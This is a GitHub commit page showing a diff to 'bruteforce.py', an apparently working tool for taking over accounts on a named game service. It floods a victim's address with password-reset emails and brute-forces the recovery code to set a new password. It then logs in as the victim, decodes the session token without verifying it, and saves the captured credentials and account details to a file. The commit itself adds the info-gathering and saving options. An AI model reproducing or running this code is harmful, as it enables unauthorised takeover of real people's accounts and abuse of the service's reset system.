Skip to content

Commit

Permalink
- Added cli argument to get more information
Browse files Browse the repository at this point in the history
- Added cli argument to save result
- Added cli argument to change the save path
  • Loading branch information
sokripon committed Apr 7, 2022
1 parent 9f6fb7e commit 0ebf7f3
Show file tree
Hide file tree
Showing 4 changed files with 83 additions and 10 deletions.
1 change: 1 addition & 0 deletions Pipfile
Original file line number Diff line number Diff line change
Expand Up @@ -7,6 +7,7 @@ name = "pypi"
loguru = "*"
httpx = "*"
tqdm = "*"
pyjwt = "*"

[dev-packages]

Expand Down
14 changes: 11 additions & 3 deletions Pipfile.lock

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

75 changes: 69 additions & 6 deletions bruteforce.py
Original file line number Diff line number Diff line change
@@ -1,9 +1,13 @@
import asyncio
import json
import os
from asyncio import Semaphore
from itertools import product
from pathlib import Path
from string import ascii_uppercase, digits

import httpx
import jwt
from httpx import Response
from loguru import logger
from tqdm import tqdm
Expand Down Expand Up @@ -37,7 +41,30 @@ async def bruteforce(account_id: str, password: str, client, recovery_code: str)
return res


async def main(email: str, account_id: str, new_password: str, max_concurrent_brute_requests: int, max_concurrent_email_requests: int, password_reset_emails: int):
async def get_additional_account_info(email: str, password: str, client: httpx.AsyncClient) -> dict:
payload = {
"EmailAddress": email,
"Password": password
}
r = await client.post("https://account.freejamgames.com/api/authenticate/email/web", json=payload)
if r.status_code == 200:
return r.json()
else:
return {}


def unpack_jwt(token: str) -> dict:
return jwt.decode(token, options={"verify_signature": False})


async def main(email: str, account_id: str, new_password: str, max_concurrent_brute_requests: int, max_concurrent_email_requests: int, password_reset_emails: int,
additional_account_info: bool, save: bool, save_path: str):
account = {
"success": False,
"email": email,
"account_id": account_id,
"new_password": new_password,
}
fail_counter = 0
success_code = ""
brute_semaphore = Semaphore(max_concurrent_brute_requests)
Expand Down Expand Up @@ -70,16 +97,48 @@ def bruteforce_callback(fut: asyncio.Future):
task.add_done_callback(bruteforce_callback)
if success_code:
break
await client.aclose()
pbar.close()
for task in asyncio.all_tasks():
if task.get_name().startswith("Bruteforce"):
task.cancel()
if success_code:
logger.success(f"Success code is {success_code}. Password is now {new_password} closing")
logger.success(f"Success code is {success_code}. Password is now {new_password}")
account["success_code"] = success_code
account["success"] = True
if additional_account_info:
logger.info("Getting additional account info")
account["additional_account_info"] = await get_additional_account_info(email, new_password, client)
account["jwt_decoded"] = unpack_jwt(account["additional_account_info"]["Token"])
logger.success(f"Successfully got additional account info, username is {account['jwt_decoded'].get('DisplayName')}")
else:
logger.error(f"Failed to find a success code. {fail_counter} attempts failed")

if save:
save_path = Path(save_path)
if not save_path.absolute():
save_path = Path(os.getcwd() / save_path)
save_path.parent.mkdir(parents=True, exist_ok=True)
if save_path.exists() and save_path.is_file():
with open(save_path, "r") as f:
try:
data = json.load(f)
except json.JSONDecodeError:
logger.error(f"Failed to load {save_path}")
else:
with open(save_path, "w") as fw:
data.append(account)
json.dump(data, fw, indent=4)
logger.info(f"Saved account to {save_path}")

elif save_path.exists():
logger.error(f"{save_path} is not a file, not saving")
else:
with open(save_path, "w") as f:
json.dump([account], f, indent=4)
logger.info(f"Saved account to {save_path}")

await client.aclose()
for task in asyncio.all_tasks():
if task.get_name().startswith("Bruteforce"):
task.cancel()


if __name__ == "__main__":
import argparse
Expand All @@ -91,5 +150,9 @@ def bruteforce_callback(fut: asyncio.Future):
my_parser.add_argument("-b", "--max_concurrent_brute_requests", type=int, default=20, help="The maximum number of concurrent requests to make when bruteforcing")
my_parser.add_argument("-c", "--max_concurrent_email_requests", type=int, default=5, help="The maximum number of concurrent requests to make when sending recovery emails")
my_parser.add_argument("-r", "--password_reset_emails", type=int, default=100, help="The number of emails to send to reset the password, higher number -> higher speed")
my_parser.add_argument("-a", "--additional_account_info", default=False, action="store_true", help="Get additional account info")
my_parser.add_argument("-s", "--save", default=False, action="store_true", help="Save the account info to a file")
my_parser.add_argument("-sp", "--save_path", type=str, default="account_info.json", help="The path to save the account info to")

args = my_parser.parse_args()
asyncio.run(main(**vars(args)))
3 changes: 2 additions & 1 deletion requirements.txt
Original file line number Diff line number Diff line change
@@ -1,3 +1,4 @@
loguru
httpx
tqdm
tqdm
pyjwt

0 comments on commit 0ebf7f3

Please sign in to comment.